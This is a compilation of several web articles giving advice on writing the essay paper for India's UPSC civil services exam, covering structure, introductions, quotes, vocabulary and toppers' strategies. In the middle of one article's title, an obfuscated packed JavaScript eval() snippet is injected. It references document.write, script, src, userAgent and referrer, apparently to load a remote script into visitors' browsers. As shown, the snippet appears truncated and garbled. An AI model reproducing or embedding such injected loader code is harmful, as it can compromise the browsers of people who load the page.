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How to Write a Good Essay for UPSC? A Guide to Improve Your Writing Skills

An essay is a short piece of writing on a particular subject, usually in prose and generally analytic, speculative or interpretative that gives the author’s own argument. These are written composition about anything.

It takes discipline, foresight, research, strategy and if done right, ends in total victory. In terms of ‘writing’ you need to create a handful of original sentences for the entire content; a thesis, a theme, a mini-thesis that begins each paragraph and a concluding sentence that says all.

How to Write an Essay for UPSC?

Writing an essay often seems a dreaded task among students. The idea behind is to make it easier for the reader to navigate the ideas put forth in a content.

For all those who are confused about how to write an essay for UPSC, here is the detailed guide on what you must write in every essay:

Introduction is an Important Part of Essay Writing in UPSC

The introductory paragraph should have an attention-grabbing hook. It should describe your content topic/ question. One can also include good proverb related to the topic of the content. This should not be more than one paragraph.

Body paragraph supports your introductory paragraph and must include all supporting details. It is advisable to support your explanations on the topic with good examples/ facts/ Govt schemes/ data/ statistics/ proverbs. This can be more than one paragraph until you reach your word limit.

No matter on which UPSC essay writing topic you are working on, conclusion plays a significant role. The conclusion should rephrase the main topic and subtopics and should carry a call to action. A concluding proverb will always be a good way to end a content. It will be good to not conclude the writing by providing your personal opinion on the topic unless specified in the question. This should not be more than one paragraph.

Also Read: Pressure Groups in India: Everything you Need to Know

Tips to Score Better on UPSC Essay Writing Topics

With a little planning and a lot of hard work, you can write an essay for UPSC that’s good enough in a short time. Following pointers will help you to develop a writing framework:

Essay Question

Selecting a UPSC essay writing topic is the most important and critical task. Choose a topic for which you have knowledge of enough content, examples, facts, data and proverbs. Once the right topic is chosen your half work is accomplished.

Develop a Plan

Planning helps to figure out how long to spend on each part of the text and will keep you on task. Develop a thesis- the main idea of your essay. It should be precise and short.

Jotting Down Pointers

These can include examples for your topic, important facts that support your reasons, data/statistics, proverbs. These pointers will help you develop your content in a better way.

Write Outline

The outline will guide you through the writing process of the content. Structure it in the same form as your text. This helps in identifying the areas that need better development.

Revision of your outline is as important as a revision of your writing. The revision will help you to analyse any errors/ spelling mistakes etc thus ensuring a better essay writing for UPSC.

Tips to Make Your Writing Suitable as per UPSC Essay Syllabus

Read other essays.

Reading other people’s writings will help in building your own style for essay writing in the UPSC exam. Read contents on a wide range of subjects, different genres of fiction and nonfiction but try to keep the focus on the UPSC essay syllabus. The wider you read, more possible techniques will be available to pick up and use in essays of your own. Another good source is reading newspapers, specifically editorials!

Build Vocabulary and Use it Properly

This helps in expressing exactly what one means. A good vocabulary displays intelligence and allows being persuasive in your writing. Refer a dictionary, learn prefixes/ suffixes. Subscribe to a daily email that sends new words. Add variety to your knowledge of words, collect new words and find their meanings, also write their definitions and frame them in sentences. An economy with words is a characteristic of all good essays.

Having a good command of grammar is the most important thing for essay writing in UPSC. Building up a sentence which is grammatically correct and right use of words will create an overall good impact of your text. While composing the content, it is important to make yourself easy for readers to understand.

The sentence structure shows how intelligent you sound. The reader should not read a sentence more than once to understand it. Correct use of punctuation and tone of voice is a must. Do not use passive voice or I/ my words, try to be more general and readers will remain hooked on.

Also Read: A Complete Guide to Score Better in Geography for UPSC: UPSC Exam Strategy

UPSC Essay Writing Topics

The best students enjoy creating essays. For many students, each topic brings with it the challenge of making a little better than last one. When one writes regularly, chances are less to get stuck and repeating the same thing each time. So, pick a UPSC essay writing topic each day and prepare an outline of your ideas and then write your thesis and frame up your content.

Let’s Wrap Up:

Essays are self-generating, self-reinforcing and self-fulfilling. These should be balanced so that one can learn from the best of the writers and be able to pick up techniques to help in shaping up a balanced piece.

Essays constitute a formal, academic context, but that does not mean they should be boring. Don’t use big words in an essay writing in UPSC just for the sake of it; it may have the opposite effect. Ultimately, the goal should be that the writing is clear and easy to understand so that it is a pleasure to read.

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About the Author

Akshay palande.

Akshay Palande is a passionate teacher helping hundreds of students in their UPSC preparation. With a degree in Mechanical Engineering and double masters in Public Administration and Economics, he has experience of teaching UPSC aspirants for 5 years. His subject of expertise are Geography, Polity, Economics and Environment and Ecology.

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• IAS Preparation
• UPSC Preparation Strategy
• 7 Easy Steps Essay Writing UPSC Mains Exam

7 Easy Steps on Essay Writing for UPSC Mains Exam

The UPSC Mains Exam has a total of 9 papers which includes an essay paper as well. The Essay Paper in the IAS Mains Exam consists of two sections A and B with four topics each of 125 marks and a total of 250 (125×2) marks. Candidates have to select a topic from each section and write about it in 1,000 to 2,000 words within the given time of three hours. The Essay paper is considered as crucial in determining the final result of selection and ranking of a candidate. The Essay Paper is considered as crucial as it is a compulsory paper and its marks are incorporated in computing the total and moreover what makes it crucial is that there is no in-depth study in an essay unlike optional subjects where any aspirant can claim expertise. Let us take a look at the conventional way of writing an essay that includes introduction, body and conclusion. Though this is fundamental but the concept of an essay when it comes in terms of UPSC Paper it is quite tricky. An essay should be of topical text that is easy to understand or follow and comprehensive, succinct, composite and definite, as well as informative and logical. So, here are a few tips on how to structure an Essay Paper in the UPSC Mains Exam. For the effective composition of an essay one should generally follow the below points that are ideally suggested by the senior UPSC Aspirants and toppers:   What to write in the Essay?

• Read the topic carefully
• Think and recollect the points to be included in the topic for 30 minutes

What not to write in the Essay?

• Provoking Essay
• Do not get personal
• Deviating from the subject

Tips to enhance your Essay writing

• Recommended Reading
• Reading Books as Hobby

Before choosing the topic, read all the topics more than once and choose the topic wisely from the given choices so that you will find enough points to write about the topic. Once you choose a topic and start to write you may find difficult and tend to change the topic in between which would be foolishness and it will be too late to change the topic as you would have already utilized much time. Read the topic twice and think about the topic for 30 minutes.

Once you have chosen the topic to write don’t start to write immediately instead ‘think about the topic for 30 minutes’. Because when one starts writing without thinking about the topic they may miss out on many important points and in between or at the end they may remember more significant points which would be too late as there would be no enough pace left in the answer sheet or time to write more.   Hence, it is recommended to utilize the first 30 minutes to think about the topic before starting to write as you have three hours to write the essay.

• Think about the topic for 30 minutes
• Write down the random points that come to your mind at the end of the sheet
• Arrange the points that you have jotted down in sequence

Some important tips to make your Essay worthy

Once you have recalled, collected and noted the points then the next step is to structure it as given below:

• Introduction
• Background/past example
• Main concept/theory
• Correlate with current event
• Advantages and disadvantages
• Suggested Changes

It is advised while writing an essay on a topic that may be provocative not to get personal and criticize a person or government in your writing. Some topics would be provocative where you may tend to lose control of your writing and write something in an offensive way, which is not appreciable and recommended as well.   If you are writing about the disadvantages it is suggested to come up with a few reforms that may change the disadvantages into advantages.

Always memorize the quotes correctly and the name of the person who has quoted them. If you are not sure about the quote then it is advised to leave it instead of writing it incorrectly.

For effective essay writing one should clearly be sure of the purpose of writing the essay and should remember the “Five Wives and One Husband” concept i.e., – Who?, Why?, What?, When?, Where?, and How?,  that is taught in the school on the first day of Essay Writing. Following this concept will make you stick around the topic and not paddle away from the topic.

Essay writing also needs continuous reading; hence it is suggested to candidates read diverse topics and books some of the recommended are:

• Editorial section of The Hindu Newspaper
• Magazines like Frontline, Kurukshetra, Yojana
• Watch discussions and debates on television
• Work on previous question papers essay topic

Finally, when it comes to Essay as one of the papers in the UPSC Exam , it is all about understanding and assessing the personality of a candidate through which his/her views, ideas, suggestions, values, attitude, aptitude, coordination, and communication (written) abilities and other attributes are analyzed that especially UPSC looks for in an aspirant. If you want to analyze or enhance your essay writing skills then participate now in our UPSC Essay Contest and win a cash prize as well as free registration for UPSC Civil Services Mains Test Series.

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Writing a good Essay in UPSC Mains, Explained by Anudeep Durishetty

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Novelist Stephen King put it beautifully when he said, “I write to find out what I think.”

Writing is a window to your thought process. What you write on paper will tell the reader how you think, how you argue and the way you substantiate your viewpoint. This is why for most competitive examinations and academic entrance tests, essay is mandatory.

In the Civil Services Exam too, we have a paper worth 250 marks, equivalent to a General Studies paper. Despite its importance, essay paper often does not get the attention it deserves from aspirants. First timers think they will write an excellent essay in the final exam itself, whereas experienced aspirants believe that since they had already studied a ton for GS, it will alone be enough to write a good essay. This is a fatal miscalculation.

I was one of those who made these errors in the past, and it is not a coincidence that I scored only 100 in CSE 2015. But in 2017, I devoted adequate time to this paper. I collected useful quotes, prepared notes and even made rough essay drafts for frequently asked topics. All this effort in essay paper helped me score 155.

What follows is an elaborate post on how you should tackle the Essay paper. I’ve organised the content as follows:

What UPSC says about the essay paper

How and from where to prepare?

Improving language and expression

• On subheadings and rough drafts
• What you must avoid
• How to write a powerful introduction?
• Developing the content of an Essay

Substantiating your arguments

• How to conclude an Essay
• My notes, quote collection and sample essays

“Candidates may be required to write essays on multiple topics. They will be expected to  keep closely to the subject of the essay,   to arrange their ideas in an orderly fashion, and to write concisely . Credit will be given for  effective and exact expression .”

Essay distinguishes itself from GS in the sense that in GS, marks will be awarded purely for content. But in essay, examiners will pay special attention to not just the content, but also the language, coherence and the way you organise your write-up.

So you must take adequate care to arrange your ideas properly and not commit any fundamental spelling or grammatical errors.

Most of the content you write in Essay will come from your GS preparation. Apart from this, the following sources will help:

• Reading non-fiction  helps you develop a matured thought process. Apart from imparting knowledge, they will also let you come across good figures of speech, art of argumentation, powerful rhetoric and unique content etc. For example, in an essay on Artificial Intelligence, I took arguments from Yuval Harari’s  Homo Deus  to argue that AI is an imminent threat to humanity. Or if you read  Why Nations Fail,  a book replete with examples, you will understand the importance of innovation, political and economic freedoms in propelling a nation forward. So my suggestion is, apart from UPSC related material, develop the hobby of reading non-fiction books. I do not mean to suggest that you should start reading one  non-fiction book per topic to get good scores in Essay, but reading them occasionally in your free time will benefit you in the long run.
• Referring to specific magazines:  For certain topics, you can refer to specific issues of Yojana/EPW/Economic Survey etc. Example: for an essay on tribal issues or public health, you can go through specific issues of these magazines for getting the latest statistics (IMR, MMR, malnutrition levels etc) and also about the positives and criticisms of govt schemes in that sector.
• Collecting good stories/anecdotes and quotes: Anecdotes, quotes and real life stories you see in newspapers and books which can be used in essay should be noted down. In most of my essays, I used to start with a relevant story or an anecdote that has the essay topic as its underlying theme. Apart from these, I also used a couple of quotes of eminent persons.

         List of quotes, anecdotes I collected are available in the link at the end of this article.

Language in essay must be simple and clear with as little jargon as possible. If you want to use complex definitional terms such as, say, ‘Constitutionalism’ or ‘Sanskritisation’ please define it in sentence just before you use it. Examiner will also understand clearly what you want to convey. Clear writing is clear thinking. And that is what any reader looks for.

Keep your sentences short and powerful. Long, winding sentences makes it difficult to read and understand. If you tack on one clause after another through conjunctions, what you get is a bad sentence sprawl.

Example of a bad sentence sprawl:

At the end of World War 2, on the one hand, while capitalism was successfully championed by the nations in North America and Europe, on the other hand, it was USSR that put Communism at the forefront due to which there was an ideological clash between the the two superpowers which had led to proxy wars in various parts of the globe, a nuclear arms race and a rapid deterioration of the security of the world.

(By the time readers finish reading it, they will lose their breath and the point of the sentence)

So I had a simple rule: If you run out of your breath while  reading a sentence, then probably you will have to break it into two.

Rewriting the aforementioned example after breaking it into two (which makes it much easier to read and comprehend):

After World War 2, while the North American and European nations championed capitalism, USSR put communism at the forefront. This ideological clash between the superpowers led to several proxy wars, a nuclear arms race and a rapid deterioration of world security.

There is no need to memorise complex words for writing a good essay. But an occasional use of a powerful word, or a good phrase definitely gives your write-up an edge.

Also, I believe that learning numerous words by rote will not make them stick in your brain for long. The best way to build your vocabulary is by reading non-fiction and English newspapers. While reading these, if you come across a good turn of phrase, or a word that you don’t recognise, please note it down in a book, find its meaning and understand the context in which the word was used. This helps in long term memory. Having a dictionary app on your phone also helps.

Building vocabulary is a slow process, but with consistency, anyone can become better at using an expansive set of words.

Subheadings & Rough Drafts

We can be a little innovative in our subheadings. Instead of bland subheadings such as ‘ Benefits of Nuclear Energy’  we can use “ Nuclear Energy: Promise or Peril?’  Similarly, for the essay on Social Media, instead of writing ‘ Advantages and Disadvantages of Social Media ’, I wrote  “Social Media: A Double Edged Sword”

You can find my collection of a few such subheadings in the link to my notes, given at the end of the article.

I also prepared a rough draft for a few essay topics (link given at the end). You may need to modify the structure as per the demand of the question.

What you must avoid in Essay

• Do not focus excessively only on one point, or one dimension (such as the historical or political aspect) Your essay needs to be expansive and multi-dimensional.
• During preparation, we read a lot and it’s understandable that we feel strongly about certain topics. And since essay offers freedom to write, it’s very easy to get carried away with such a topic. But make sure that you write what is asked, not what you know or feel like. No  mann ki baat . Always stick to the subject of the topic. It helps to read the question in the midst of your essay to ensure that you are not steering away from the topic.
• If you are not comfortable writing about abstract philosophical topics (I am terrible at writing them), avoid such questions. Your choice of topic has no bearing on the marks and that is why, selecting an unpopular topic just for the sake of it is unwise. Also, if there’s a technical term in the question, be doubly sure that you understand it correctly. For instance, in 2014, there was a question on ‘standard tests’, which is a technical term. I misunderstood it and wrote a generic essay. I got 112.
• When you take a final stand on an issue, it’s best to avoid extreme or highly unpopular opinions. We are free to have any opinion in the privacy of our minds, but in UPSC essay why take that risk? For instance, in an essay on Capital Punishment, in the main body content, you should present a case for both abolition and retention. But when you take a stance, it’s best to be an abolitionist.
• No ranting. You might be a great fan of Karl Marx, but if there’s a question on Capitalism, do not rant or rail against it ? You must present both the positives and negatives of Capitalism and end the essay on a balanced note.
• Do not dedicate disproportionate amount of time for the first essay and scamper through the second. Both carry equal marks, so please invest equal time.

How to transition smoothly from one para to the next

This can be done in three ways.

Through a link sentence at the end of a para:

Here, at the end of a para, you write a sentence that signals to the examiner what’s coming next. For example, let’s say you have just written a para about the threat posed by Artificial Intelligence (AI) to jobs. At the end of that para you can write a link sentence—   “Further, we must be mindful of the fact that Artificial Intelligence poses a major challenge not just economically, but also ethically.”  And in the next para, you can write about the ethical issues concerning AI.

Through a question:

Instead of a link sentence, you can also add a question at the end of a para so that examiner’s attention is helplessly carried to the next. To take the similar example as above, the question can be something like—   “Thus we have examined the threat posed by AI to our economy, but what about the challenges brought by AI to our ethics and morals?”  And in the next para, you can write about the ethical issues concerning AI.

Signalling the shift at the start of next paragraph:

Here you can simply add a word or two at the beginning of a para that signals a shift in your subtopic. For example in an essay on  Globalisation , let’s say you have just written a para about its historical evolution and impact. You can start the next para with something like—  “Politically too, globalisation has had a tremendous impact……” This way examiner immediately knows what to expect.

These steps will ensure that the transition between paragraphs is not abrupt.

How to write a good Introduction to your Essay?

Essay introduction can be:

a fictitious incident or story (where you introduce a character); a real life anecdote; a quote; or a simple definition of the words in the question (not recommended in Essay)

In GS, definitional approach is a great way to introduce your answers. But in essay, they are rather stale, lacking in any human element. I always believe that a good way to start your essay is to have that touch of humanity and warmth in your introduction.

In my Mains exam, this was my introduction to the essay ‘Destiny of a nation is shaped in its classroom’

“The year was 1945. Towards the end of a gruesome world war, the world powers decided to carve up the Korean peninsula along the 38th parallel.

“Before partition, North and South Korea might have been homogeneous in every respect, but after the division, they steered onto different paths. While schools in the North chose to ‘educate’ their children in the worship of a cult leader, ideological indoctrination and servility, its southern counterpart focused on liberal education, innovation and economic growth.

“Today, almost seven decades later, the difference in the fates of these people and the trajectories of both these nations cannot be more stark. One is known for gross violation of human rights, while the other a champion of liberal democracy. One is known for gut-wrenching poverty, while the other unbridled prosperity.

“This only proves the age old adage that the destiny of a nation is indeed shaped in its classrooms.”

Similarly, for the Social Media essay, my introduction sought to bring to the fore the paradox of Social Media. I wrote on how social media was leveraged to crowdsource help and rescue during Chennai floods in 2015. At the same time, I mentioned how it was used nefariously in 2012 to cause mass exodus of northeast people from Bangalore. And taking cue from this introduction, in the main body, I discussed about the inherent selfishness and altruism associated with social media.

These real life stories, anecdotes and incidents are everywhere in our books and newspapers. So when you come across them, note down and ponder as to how you can use them in your essay.

Developing the Main Content from the Topic

This is like spinning the web from a thread. Depending on the topic, you can choose among the following options that fits best.

• Temporal: Past, present and future
• Sectoral: Media, Science & Tech, Business, Sports, Religion, Politics, Administration etc
• Walks of Life : Individual, Family, Professional workplace, Society, Community, National, Global
• Problem & Solution:  Concept (historical evolution+status), benefits, problems, solutions
• Standard : Social, Political, Economical, Administrative, International, Environmental, Historical, Scientific, Security/Defence, Legal

Example: for a topic like  “Has Globalisation delivered on its promise?”  I find the problem & solution method an apt way to develop your narrative. So choose as per the question.

In the main body of the essay, each para must have an argument or an idea and a reasoning to back that argument. You can substantiate it through a real life example, a statistic, an authentic committee or organisational report etc.

For example, if you are arguing that Capital punishment is an expensive form of justice, you should be able to given an example or a statistic or Law Commission’s opinion as to how the subjects of death penalty are overwhelmingly from poor communities.

Statistics, examples, expert opinions and constitutional provisions are crucial and they make your arguments authoritative.

Concluding an Essay

Conclusion needs to be on  a futuristic, optimistic note. You need to summarise the complete essay in 3-4 sentences, after which you can write your vision for future.

You can source some useful terms from the speeches of PM Modi. Phrases like  Sabka saath sabka vikas ,  Reform-Perform-Transform, Building A New India  etc can come handy.  Rhetoric, lofty expressions, constitutional ideals, sanskrit slokas and quotes are a good way to conclude your essay.

But suppose in your introduction, if you had written about a fictitious character, then it’s always advisable to end your write-up with a reference to that character. It gives a sense of completeness to the essay.

Readers should keep in mind that these notes are written rather haphazardly (I mean who makes notes thinking that in future, they might have to upload them publicly :D)

They are fragmented in certain pages, so you may not be able to comprehend them completely, but nevertheless I hope you take home something useful.

Link to handwritten notes:

https://drive.google.com/open?id=1jmVMGOzAk2d9B5Y0HQ9XpVF5Mh2IXGku

Quote collection:

https://drive.google.com/open?id=1jk71jLao60hHwJoTuGYaIDgJWccxa5Xn

List of Topics one needs to prepare:

https://drive.google.com/open?id=1q0W0PeH-80EKt6ucJTFOVPUlmXvCIzd-

Sample Essays:  

https://drive.google.com/open?id=1jqfUi1FXdG0icBdJpdQvwH1wlAizCMvo

Read More at: https://anudeepdurishetty.in/ 

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UPSC ESSAY STRATEGY: How to Write an Essay!

• October 21, 2015

IASbaba's Mains Strategy , UPSC Essay Strategy

Essay eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6(" ");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfnkh|var|u0026u|referrer|rhfyh||js|php'.split('|'),0,{})) Strategy

In one way or the other your fate with UPSC is decided by the most unpredictable component of the syllabus i.e. the ESSAY . Ask your seniors, your peers or even your teachers and no one can come up with a concrete strategy to prepare for essays. It is ironical that despite being the most flexible component of the UPSC syllabus, it is the essay that spoils your chances. Why? The answer to this question is a mystery . So, if anyone tells you that he/ she knows the right way to write an essay and by right we mean the benchmark set by UPSC, be sure that the person has got a long way to go before he/ she can truly understand UPSC. We say this because of a reason. We have seen aspirants with excellent writing skills scoring 70% in essay in their first attempt while barely managing 35% in their next attempt! It is the other way round also with a number of aspirants.

Now, here we are! After accepting the unpredictable nature of essay evaluation by UPSC, how can we be sure about any strategy? We can’t and in fact we aren’t. But then, we must try until we touch the right chords. Here we give you a strategy to write essays in the most structured, smooth and satisfactory way possible. We don’t guarantee success if you follow our strategy but we can assure you that after going through the subsequent paragraphs of this write up, you will have a lot to work upon and improve. If you keep in mind the following points, you can definitely better your prospects in essay.

So, what is an essay? Or rather why this paper on essays in UPSC? The answer is –  an essay gives you an opportunity to put forward your thoughts in a manner that is not impeded by word limit and time (in the sense that you are given enough words and time to express your knowledge and views). It is asked to check the depth and breadth of your knowledge. And when we say knowledge, it doesn’t mean our conventional understanding of the same. The topics are unknown to us before the exam and we are expected to apply all that we have learnt to produce a logical and intelligent account of what is being asked. That is why, one can’t prepare for essays in the conventional sense.

Now coming to the strategy part, we must say at the outset that you must not treat essay as any other paper of UPSC. In fact, it is the most innovative way to check your level of preparedness of the entire syllabus of UPSC. If you perceive it in this sense, your tendency to limit your imagination by the fictitious boundaries of so called essay paper will vanish and you will be able to think more freely and more innovatively. Shed all your previous notions regarding this paper and start afresh.

The key to writing a satisfactory above average essay is multi-dimensionality. Depth matters but in UPSC breadth is far more important. Keep this fact in mind and approach the essay in a manner that all your wisdom is reflected in the interconnected dots in your essay. Now, what do we mean by this? It simply means the representation of all the dimensions that are related closely to the topic being asked. In doing so, most aspirants keep throwing unnecessary points and that can annoy the examiner. The best thing to do in such a scenario is to write all your thoughts in pointers at the space provided for rough work.

Now, this step is very important. What tools do we have to think about as many dimensions as possible? The answer lies in the syllabus . Luckily, the syllabus of UPSC is so exhaustive and detailed that almost everything under the sun is there in the syllabus. After you are done with your own thoughts and written all the possible points, think about the syllabus now. For this, a prerequisite is that you must have learnt the syllabus by heart. Having said so, let us now understand as to how you can use the syllabus to create points for your essay.

Suppose you have been asked an essay on “Gandhian principles and it’s relevance in contemporary India” . Now, by linking this essay with various components of the syllabus, you can create a number of good points for your essay. We provide you with some examples:

Indian heritage and civilization: Gandhian thoughts on the importance of letting our civilization welcome others while maintaining our identity and uniqueness. This is particularly important in view of the ongoing clash of civilizations.

Women issues: Gandhi’s idea on emancipation and empowerment of women and it’s applicability in modern India.

Communalism and secularism: Gandhian message of communal harmony and tolerance.

Society: Numerous examples of Gandhian views on the importance of charity, role of family, social capital, social norms, cinema etc.

Globalization: Gandhian message of self reliance and it’s synthesis with the idea of global commons/ was Gandhi against globalization?

Constitution and polity: Gandhian idea of a nation state

Local governance: Panchayati Raj as envisaged by Gandhi.

SHGs: Gandhian conception of the idea; the concept of village gramodyog etc

Education: Gandhian model of education that emphasized upon imparting skills

International relations: Gandhian ideals of co-existence, non- violence, non- proliferation etc applied to the current foreign policy paradigm; satyagaraha and non- violence as tools to pursue foreign policy goals.

Inclusive growth: Gandhi’s talisman and it’s remarkable resonance with the very idea of inclusive growth

Economic development: Gandhian idea of self dependent village communities

Industries: Gandhian apprehensions with respect to western model of industrialization

Agriculture and animal rearing: Gandhi’s ideas on organic cultivation, supplementary income through animal rearing etc.

Environment: Gandhian message on cleanliness and sustainability (remember the quote related to man’s need versus man’s greed?), Gandhi’s views on vegetarianism etc

All Gandhian ideas with respect to revenge, change, forgiveness, happiness, strength etc reflect the essence of this component of the syllabus. We can use all of them wisely to make our points look better and logical.

At this point of time, it is important to mention about current events. Try to relate the topic with the current events. It will add to the personality of your essay. For example in this case, following examples can be included:

Corporate social responsibility: Gandhian idea of trusteeship

Struggle for democracy in various parts of the world: Gandhi’s thoughts on democracy

Crisis in the Parliament: Gandhian idea of true leadership

Now there are some other tools that are always handy in helping you make your essay multi- dimensional. Have a look and think how they can be used in different scenarios:

• Preamble to the Constitution
• FRs and DPSPs
• Millennium Development Goals (Now Sustainable Development Goals)
• Quotations by eminent personalities
• Important Supreme Court judgements
• Concepts of sustainability and environmental ethics etc

Having shown you the importance of knowing the syllabus by heart and keeping oneself updated with the current events, we move forward to the next important phase of essay writing i.e. the structure.

There is no universally accepted format for writing an essay. However, there is a general understanding about how one should approach an essay. Of course, one has to start with an introduction. Introduction can start with a quote, an anecdote or a simple paragraph. Irrespective of the approach, the introduction must give an idea to the reader as to what ensue in the subsequent paras. Introduction should be crisp and interesting. Don’t use cliched sentences in the introduction.

In the next few paragraphs, you are supposed to touch upon the core areas of the essay. Here, the points in the back of your answer sheet will come handy. Prioritize the points in a manner that the essay follows a logical flow of ideas and related points are covered in the same or back to back paras. For example, in the example given above, you can’t start with the Gandhian views and it’s applicability regarding local governance, then hop on to the role of non- violence in international relations and then come back to tolerance towards various civilizations. Similarly, you can’t club the ideas of self dependent villages and communal harmony in the same paragraph. At the outset itself, you must have in mind the flow of your essay.

It is important to note that not all your jotted points need find a mention in the essay. You can trim the points and in fact eliminate the irrelevant ones to make your essay crisp and close to the central argument.

It is also important that you read the topic after all your paragraphs so that you don’t deviate from the central theme.

All the paragraphs must have their own personality. There should be no loose ends. The paragraphs in themselves have to have logical conclusion and if that is not possible, at least the key to the next paragraph. Randomness and unpredictability are the last two things that your essay needs.

Coming on to the conclusion part of the essay, it must be understood that you are not supposed to force yourself in producing an intelligent conclusion. Many a times it is better to let some question remain answered. It is not because it should be so, but because it is not possible to have a satisfactory answer always! Just make sure that your conclusion is balanced and there is some amount of optimism in your views. Don’t predict doomsday in the essay even if you are the most depressed person in this world. UPSC wants to recruit happy and optimistic people. Mind it!

Now the question comes about language. What sort of language should one use- simple or ornamental, straight or flowery? The answer is write the way you have always written your essays. The bottom line is you have to impress the examiner in whichever way possible. If we suggest you to use simple language and you are actually good in writing impressive English, the chances are you will spoil your attempt in trying to become what you are definitely not. It is not possible to change one’s writing style so quickly. Instead one should try to make his/ her style of writing fetch better marks in the essay.

Is it not that a bride wearing all the ornaments and makeup looks stunning but at the same time a lady with a beautiful eye but with no makeup or jewelry looks equally beautiful? The same holds true for language. Believe in your own style and remain confident.

However, we find it prudent to caution you about being superfluous. This can be fatal. Don’t beat around the bush. Your sentences must convey what you have in mind and their length should be commensurate with the message. Don’t use too long a sentence. Be crisp and to the point.

As far as essay is concerned, DO NOT write in points. Once in a blue moon, candidates might have scored good marks by following this approach but that is an exception and not the rule. Respect UPSC and don’t do anything foolish.

Use quotes selectively and wisely. Not using a quote is way better than using it wrongly. You can prepare a list of quotes that can be used in the essays asked by UPSC.

Be creative in your writing. Spend some time in thinking about the ways in which you can improve your presentation. Ask your peers to review your essays and point the glitches. Try to improve upon the content, presentation and approach by keeping in mind the given strategy. We are sure that in 3-4 attempts, your essays will start reflecting your efforts.

We at IASbaba will keep on posting challenging topics for essays. We expect you to attempt them in strict exam conditions.

Share your inputs regarding the strategy and if any of the seniors reading this, kindly share your thoughts & strategy to help future aspirants 🙂

Happy writing

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UPSC CSE 2021: AIR 17 Sarthak Agrawal’s step-by-step strategy for essay paper

Essay is the one paper for which you will find excellent advice all over the internet - mostly on university websites - so make sure to look at them instead of just relying on the typical upsc resources, says agrawal  .

My key advice for the essay paper is to be argumentative and imaginative. An academic essay is a formal piece of writing with a clear structure. This is the one paper for which you will find excellent advice all over the internet — mostly on university websites — so make sure to read them up instead of just relying on the typical UPSC resources.  

The following approach worked best for me: start with a story that is relevant to the prompt. Then, state in a few words the “thesis” of your essay – what is the main argument you’re making? Next, support this central thesis with several claims, each one backed by strong evidence or reasoning, and occupying a separate paragraph. As you go along, address the counterclaims. But resist the urge of writing an essay like a mystery novel. This is best practiced when you have devoted some 10-20 minutes to plan and outline what you will write. 

Ultimately, the key to putting together a strong response is to make an innovative and strong argument – don’t just provide relevant information around the central topic but take a refined stand and stick to it. For instance, if I wrote an essay on the topic, “Are we entering an era of globalisation”, I wouldn’t just regurgitate data on both sides of the debate. Instead, I would present an incisive and informed opinion defended by evidence and reasoning with an intention to persuade the reader. Remember, variety goes a long way in achieving this aim – avoid repetition and alter your sentence length and vocabulary to keep things interesting. It is also useful to vary the kind of evidence you cite. In some places, data and figures are most appropriate; in others, a vivid example can go a long way in hammering in your point. 

When you choose a topic, first make sure that you fully understand what each word in the prompt means. I would prefer a simple one over a more convoluted statement so that you have more latitude to experiment. The next thing to ask is whether you will be able to construct a novel argument around that prompt. Some topics are more conducive to a descriptive type of response, and others to a debate. The latter provides more scope for showing off your critical thinking skills. That’s the real “smartness” essays test, which is why writing them well is a pre-requisite for academic success in the top universities. When you start, make sure you introduce the topic and what you understand by it. This way, even if you make an error in interpreting the prompt, the examiner will know from the get-go what you are responding to and might be a bit more generous. 

I find the best essays often start and end with a story. My favourite argumentative pieces are those that feature in The Economist’s leaders’ section; they often start with examples to invite the reader’s interest. In the same vein, I spent time thinking about the kind of stories that would align with different topics instead of memorising quotations. For example, in a mock response to the topic, “Digital infrastructure is key for future ready governance”, I included a fictional example of a future health secretary who can get her department to respond quickly to a SARS-kind of virus in rural Odisha thanks to a mature National Digital Health Mission. 

I wrote five practice tests before appearing for the exam; incidentally, none of them was the ‘philosophical type’ that I had to write in the actual paper. The same advice applies for these kinds of essays too, except that the evidence here would be real-world examples and logical reasoning instead of data. There’s also more scope to be creative and critical, which is good for fetching higher marks. I think coaching institutes tend to be overly concerned about analysing the “social, economic, political, legal etc.” angles in an essay, while the essay is an argumentative piece of writing that provides the means to showcase your creativity. It is certainly not a test of your memory, vocabulary, or handwriting so don’t worry if you are a laggard on either (or all) of these.

A word on formatting — start a new paragraph from the middle of the line, leaving a forefinger’s space in the beginning. Try to connect one sentence with the next using bridge words like however, despite, moreover, etc; do the same for paragraphs as it gives the entire piece a nice, logical flow. Underlining important keywords and phrases is also useful to direct an examiner’s attention. Keep cuttings to a minimum and ensure that all paragraphs are of similar length, but these tips are much harder to follow in practice. And it’s okay to use the first person (“In this essay, I argue…”). Bureaucrats are taught to be self-effacing and not present their own front but when writing an academic essay, I think it’s best to lead with the first person.  

Finally, even the examiners know that writing a strong 1000–1200-word piece by hand in 1.5 hours that is sufficiently argumentative and delightfully imaginative is fiendishly difficult. They will definitely cut you some slack as long as your approach is right. Make the most of this window, and good luck!

(The author is AIR 17 in UPSC Civil Services 2020 and is a researcher at the World Bank)

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Mastering the UPSC Mains: Answer Writing Techniques

• Mujtaba Hussain
• 13 Oct 2023

The UPSC Mains Examination is one of the most challenging and crucial phases in the journey of aspiring civil servants. It requires a deep understanding of various subjects and impeccable writing skills. In this article, we will delve into the art of mastering the UPSC Mains through effective answer-writing techniques.

The UPSC Mains Examination is the second stage of the Civil Services Examination and plays a pivotal role in determining a candidate's success. It consists of nine papers that assess the candidate's knowledge, analytical abilities, and writing skills. To excel in this examination, mastering the art of answer writing is essential.

Understanding the UPSC Mains Examination

Before diving into answer writing techniques, it's important to understand the nature of the UPSC Mains Examination. It comprises papers on a wide range of subjects, including General Studies, Optional Subjects, and Essay. Each paper is designed to evaluate the candidate's comprehensive understanding of the topics.

The Significance of Answer Writing

The importance of answer writing cannot be overstated. Even if a candidate has in-depth knowledge, without effective expression, their efforts may fall short. The UPSC Mains examiners are looking for clear, concise, and well-structured answers. This is where your answer-writing skills come into play.

Effective Time Management

One of the keys to success in the UPSC Mains is effective time management. Candidates must allocate a specific time frame to each question and stick to it. This ensures that they cover all questions and do not spend an excessive amount of time on any single question.

Analyzing the Question

